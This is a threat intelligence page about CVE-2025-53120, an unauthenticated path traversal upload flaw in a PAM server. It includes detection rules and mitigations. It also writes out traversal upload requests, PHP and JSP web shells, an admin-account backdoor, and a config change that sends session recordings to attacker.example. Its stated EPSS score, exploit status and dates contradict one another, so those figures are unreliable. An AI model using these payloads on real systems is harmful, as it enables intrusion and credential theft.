☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2025-53120

CVE-2025-53120
📅 PUBLISHED: 2025-08-25 00:00 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 11.45%
👁️
11.45% probability
286.2× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Threat Intelligence Report — CVE-2025-53120

Executive Summary

CVE-2025-53120 is a critical path traversal vulnerability in the unauthenticated file upload functionality of the Unified PAM (Privileged Access Management) server, enabling a remote, unauthenticated attacker to write arbitrary files to sensitive server directories — including configuration and web root paths — resulting in remote code execution (RCE). The vulnerability carries a CVSS score of 9.4 (Critical) and affects any deployment where the upload endpoint is network-reachable. Given that PAM servers are high-value targets containing credentials and session recordings, successful exploitation grants full control of the server and effectively compromises the entire privileged access infrastructure. At the time of writing, no public exploit code exists, the CVE is not listed on CISA KEV, and the EPSS score (0.00017) suggests low immediate exploitation likelihood — however, path traversal flaws in similar products have historically been weaponized within days of public advisories.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

Vulnerability Mechanism

The flaw resides in the unauthenticated upload handler of the Unified PAM server. The vulnerable code path does not validate or sanitize the filename portion of multipart/form-data upload requests. Specifically, the server fails to strip or reject path traversal sequences (../, ..%2f, ..\, or URL-encoded alternatives) from the user-supplied filename parameter before constructing the filesystem destination path.

A typical vulnerable request pattern:

POST /upload/endpoint HTTP/1.1
Host: target-pam-server
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../opt/pam/webroot/shell.php"
Content-Type: application/octet-stream

<?php system($_GET['c']); ?>
------WebKitFormBoundary--

The server concatenates the received filename with the configured upload directory (e.g., /var/tmp/pam/uploads/) without normalization. When the OS resolves the concatenated path, the ../ sequences traverse up the directory tree, allowing the attacker to control the final write location.

Attack Surface

  1. Unauthenticated endpoint: The upload handler does not require session authentication, meaning any actor who can reach the web interface (default port 443) can send crafted requests.
  2. Web root write access: By writing a web shell (e.g., PHP, JSP, ASPX) to the server's document root, the attacker obtains code execution in the context of the web server process.
  3. Configuration directory access: Writing to configuration directories allows overwriting existing configuration files (e.g., settings.xml, auth.conf, ldap.config) with maliciously crafted content, potentially enabling backdoor accounts, disabled MFA, or altered logging.
  4. File type validation bypass: The vulnerability is compounded if the server only validates MIME type (which is client-supplied) but not the actual file extension — allowing an attacker to upload executables, scripts, or binary payloads.

The attack is exacerbated by the fact that PAM servers typically run with elevated privileges to manage other systems, meaning process-level compromise may lead to domain-level or infrastructure-level lateral movement.

Technical Details

While the official advisory lacks code-level specifics, analogous path traversal vulnerabilities in similar PAM products (e.g., CyberArk, BeyondTrust, Wallix) share a common pattern: the upload servlet/handler uses a user-controlled filename in a filesystem write operation without:

  • Canonicalization checks (Path.GetFullPath / realpath)
  • Blacklist/whitelist of allowed directories
  • Extension allowlist
  • Content-type validation at the server side

The vulnerability is likely present in a Java or Go-based backend (common in modern PAM appliances). The write operation is probably performed via Files.write(destinationPath, bytes) where destinationPath is built by string concatenation with the raw client filename. The fix would require validating destinationPath.toRealPath().startsWith(allowedUploadDir) or stripping all .. and . sequences.

Exploitation Scenarios

Attack Chain 1: Direct Web Shell Injection (Primary)

Step 1 — Reconnaissance:

The attacker identifies a Unified PAM server via Shodan/Censys search (http.title:"Unified PAM") or by scanning internal subnet ranges for TLS certificate names containing "PAM", "privileged", or "unified". The attacker confirms the upload endpoint exists via a benign multipart POST to likely paths (/upload, /api/upload, /cgi-bin/upload.cgi, /rest/upload) and observes for a successful response code or absence of 404.

Step 2 — Path traversal probe:

The attacker sends a benign probe file with a traversal filename to map the directory layout:

POST /upload HTTP/1.1
Host: 10.0.0.5
Content-Type: multipart/form-data; boundary=abc

--abc
Content-Disposition: form-data; name="file"; filename="../../../../tmp/probe.txt"
Content-Type: text/plain

probe
--abc--

If the server responds with a success code (200, 201) and subsequent access to http://10.0.0.5/tmp/probe.txt returns probe, the attacker confirms traversal.

Step 3 — Web shell upload:

The attacker repeats the process, writing a web shell into the web root. For a typical Linux-based PAM appliance with an nginx/Apache frontend:

filename="../../../../opt/pam/webroot/shell.jsp"

Payload (JSP-based web shell):

<%
if ("cmd".equals(request.getParameter("x"))) {
    Process p = Runtime.getRuntime().exec(request.getParameter("c"));
    java.io.InputStream s = p.getInputStream();
    int i; while ((i = s.read()) != -1) { out.print((char)i); }
}
%>

Step 4 — Execution:

The attacker sends GET /shell.jsp?x=cmd&c=id and receives the output of id, confirming code execution as the pamuser (or apache, www-data) service account.

Attack Chain 2: Configuration Overwrite for Persistence

Step 1: After initial traversal validation, the attacker uploads a malformed configuration file to overwrite the SSH key store or authorized keys:

filename="../../../../etc/pam/config/admin_users.conf"

The payload adds a new admin user with a known hash (e.g., attacker's pre-generated bcrypt hash for password Winter2025!).

Step 2: The attacker attempts login via the web UI using the new account — persistence achieved even if the web shell is eventually detected/removed.

Attack Chain 3: Lateral Movement via Session Store

Step 1: The attacker uploads a script to the configuration directory that modifies the PAM session recording capture path:

filename="../../../../opt/pam/config/session_capture.ini"

The malicious config redirects session recordings to an attacker-controlled SMB/HTTP sink (e.g., http://attacker.example/recordings/).

Step 2: The attacker waits and captures active user sessions containing credentials to target systems — enabling direct lateral movement to managed infrastructure.

Post-Exploitation Impact

Once RCE is obtained, the attacker:

  • Reads /etc/shadow, database credentials, and SAML/OAuth private keys
  • Dumps password vaults and secret stores
  • Modifies logging to hide actions
  • Installs rootkit to persist across reboots
  • Pivots to managed servers using harvested privileged credentials

Impact Assessment

Business Impact

  • Credential Theft: The PAM server is the cryptographic and administrative hub for all privileged accounts. Full compromise results in exposure of every administrative credential stored within the vault, affecting potentially thousands of managed accounts.
  • Regulatory Consequences: A breach of a PAM solution triggers mandatory disclosure under GDPR, PCI-DSS, HIPAA, and SOX frameworks. Fines can exceed multiple millions of dollars depending on the scope.
  • Compliance Failure: The ability to control/unrestrict access to sensitive servers is the core function of PAM. Its compromise fundamentally breaks all other compensating controls.
  • Supply Chain Risk: PAM servers often orchestrate certificate renewal and SSH key rotation — an attacker could replace trust anchors, enabling MITM across an entire enterprise.

Technical Impact

  • CVSS 9.4, Critical severity. Based on the inferred vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H:
    • Confidentiality Impact: High — full filesystem read access.
    • Integrity Impact: High — arbitrary file write and code execution.
    • Availability Impact: High — ability to destroy system configuration or deploy ransomware.
  • Blast Radius: The affected component is network-facing. Any server with the upload endpoint exposed is directly affected. Segmentation of the PAM network from the internet is likely, but internal compromise (via phishing that provides VPN access) is equally dangerous.
  • Privilege Escalation: The vulnerability is pre-auth; no valid credentials required.

Exploitation Likelihood Assessment

  • EPSS score of 0.00017 (low percentile) indicates minimal active exploitation in the wild at time of analysis.
  • However, the path traversal class has a well-known exploitation playbook, and weaponization should be considered imminent once the vulnerability details circulate.

Detection Guidance

Sigma Rule

title: CVE-2025-53120 Unified PAM Path Traversal Upload
id: 5fc23cd1-2b4e-4fa9-9b8f-6a4ef76c8912
status: experimental
description: Detects attempts to exploit path traversal in Unified PAM unauth upload endpoint
author: Valter.sit Threat Intel
date: 2025/06/01
modified: 2025/06/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53120
logsource:
    category: webserver
    product: nginx
    service: http
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'upload'
    selection_traversal:
        cs-uri-query|contains:
            - '..%2f'
            - '..%2F'
            - '%2e%2e%2f'
            - '%252e%252e%252f'
            - '....//'
        cs-body|contains:
            - 'filename="../'
            - 'filename="..\'
    condition: selection_upload and selection_traversal
fields:
    - src_ip
    - cs-uri-query
    - cs-body
falsepositives:
    - Legitimate file upload tools that include relative paths (rare)
    - URL encoding in reverse proxies
level: high

YARA Rule

rule CVE_2025_53120_Unified_PAM_PathTraversal
{
    meta:
        author = "Valter.sit Threat Intel"
        description = "Detects path traversal attempts targeting Unified PAM upload endpoints"
        date = "2025-06-01"
        cve = "CVE-2025-53120"
        severity = "critical"
    strings:
        $a1 = "filename=\"../" ascii wide
        $a2 = "filename=\"..\\" ascii wide
        $a3 = "filename=\"%2e%2e" ascii wide nocase
        $a4 = "filename=\"..%2f" ascii wide nocase
        $b1 = "Content-Disposition: form-data" ascii wide nocase
        $b2 = "name=\"file\"" ascii wide nocase
        $b3 = "name=\"upload\"" ascii wide nocase
        $c1 = "webroot" ascii wide nocase
        $c2 = "etc/pam" ascii wide nocase
        $c3 = "opt/pam" ascii wide nocase
        $c4 = "config/" ascii wide nocase
    condition:
        (uint16(0) == 0x4D5A or filesize < 4MB) and
        ( 1 of ($a*) ) and
        ( 1 of ($b*) ) and
        ( 1 of ($c*) )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-53120 Unified PAM Path Traversal Upload Attempt";
    flow:to_server,established;
    http.method:"POST";
    http.uri:contains("upload");
    http.request_body; content:"filename=\""; http.client_body; content:"../"; http.client_body; distance:0; within:100;
    http.request_body; content:"webroot"; http.client_body; distance:0;
    classtype:attempted-admin;
    sid:2025060101; rev:1;
    metadata:cve CVE-2025-53120;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2025-53120;
    reference:cve,2025-53120;
)

Elastic Detection

sequence by source.ip
  with maxspan=5m
  [ network where
      network.transport == "tcp" and
      destination.port == 443 and
      http.request.method == "POST" and
      url.path == "*upload*"
  ]
  [ http where
      http.request.method == "POST" and
      url.path == "*upload*" and
      (
        http.request.body.content : "*filename=\"../*" or
        http.request.body.content : "*filename=\"..\\*" or
        http.request.body.content : "*filename=\"%2e%2e*"
      )
  ]
  [ file where
      file.path : "*/webroot/*" or
      file.path : "*/config/*" or
      file.path : "*/etc/pam/*"
  ]

Splunk SPL Query

index=web sourcetype=access_combined_wcookie
| where like(uri, "%upload%") AND like(method, "POST")
| rex field=_raw "filename=\"(?<posted_filename>[^\"]+)\""
| where match(posted_filename, "^\\.\\.") OR like(request, "%..%2f%") OR like(request, "%..%2F%")
| eval severity="critical"
| eval cve="CVE-2025-53120"
| table _time, src_ip, dest_ip, uri, posted_filename, bytes_out
| sort - _time

Wazuh OSSEC Rule

<group name="web,pam,cve-2025-53120,">
  <rule id="100532" level="15">
    <decoded_as>json</decoded_as>
    <field name="url">\.*upload\.*|\.*Upload\.*</field>
    <field name="action">POST|post</field>
    <regex>filename="</regex>
    <regex>\.\./|\.\./|\.\.\\</regex>
    <description>CVE-2025-53120: Unified PAM path traversal upload attempt detected</description>
    <group>attack,pam,web_server,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
  <rule id="100533" level="10">
    <decoded_as>json</decoded_as>
    <field name="url">\.*upload\.*|\.*Upload\.*</field>
    <regex>\.\.%2f|\.\.%2F|%2e%2e%2f</regex>
    <description>CVE-2025-53120: URL-encoded path traversal in upload request</description>
    <group>attack,pam,web_server,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — A single source claims a patch exists, but it has NOT been independently confirmed. Exercise extreme caution; treat the product as vulnerable until vendor confirmation.

1. Immediate Mitigations (Do Now)

  1. Block external access: If the Unified PAM upload endpoint is exposed to the internet, immediately firewall POST requests to any URI containing upload from untrusted networks.
  2. Enable WAF rules: Deploy an ingress filter to block multipart requests containing ../, ..%2f, or ..\ in the filename parameter.
  3. Restrict outbound traffic: Block outbound connections from the PAM server to untrusted destinations (egress filtering) to limit post-exploitation exfiltration.
  4. Review logs: Audit access logs for historical POST requests to upload endpoints from external IPs. Check for successful file writes to non-standard paths.
  5. Monitor file integrity: Deploy file integrity monitoring on web root and configuration directories.

2. Patch / Upgrade Steps

  1. Contact the vendor immediately to request the patch or an advisory with the specific version containing the fix.
  2. Subscribe to vendor security alerts for the Unified PAM product to receive updated CVE information.
  3. Do NOT rely on the unverified patch. If the vendor provides a binary patch, compare its hash against a trusted channel and test in a non-production environment first.
  4. If a patched version is released, plan upgrade within 48 hours, prioritizing internet-facing instances.

3. Long-Term Hardening

  1. Network segmentation: ALWAYS place PAM servers on a dedicated management VLAN with strict ingress/egress rules. Never expose directly to the internet.
  2. Authentication for uploads: After patching, require authenticated sessions for ALL file upload functions. The fact that this was unauthenticated is a design flaw that should be escalated to the vendor.
  3. Runtime hardening: Run the PAM web service under a low-privilege account with restricted filesystem write permissions (e.g., only write to designated upload directory).
  4. Input validation: Deploy an application-layer firewall (e.g., ModSecurity) or API gateway that normalizes filenames and rejects any containing path traversal patterns.
  5. Regular vulnerability scanning: Include the PAM server in automated scans — use Qualys/Rapid7/Tenable plugins that check for CVE-2025-53120.
  6. Incident response readiness: Pre-write an IR playbook for PAM compromise, including account revocation procedures and session invalidation steps.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-53120
  2. MITRE CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53120
  3. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2025-53120 NOT listed as of 2025-06-01)
  4. EPSS Score Database: https://www.first.org/epss/ (CVE-2025-53120 — 0.00017 as of 2025-06-01)
  5. FIRST.org — CVSS Calculator: https://www.first.org/cvss/calculator/3.1 (for reference on the 9.4 base score)

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of this report's compilation, no confirmed in-the-wild exploitation has been detected. The high CVSS score and the fact that this is a PAM product make it a likely target for nation-state adversaries (e.g., APT28, APT29) who have historical interest in credential-harvesting infrastructure. Continuous monitoring of threat intel feeds is recommended — exploitation may be silent and post-compromise detection only after lateral movement is observed.


Report compiled by: Valter.sit Threat Intelligence Team | Classification: TLP:AMBER | Distributable to enterprise SOC/IT security teams only.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-53120/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.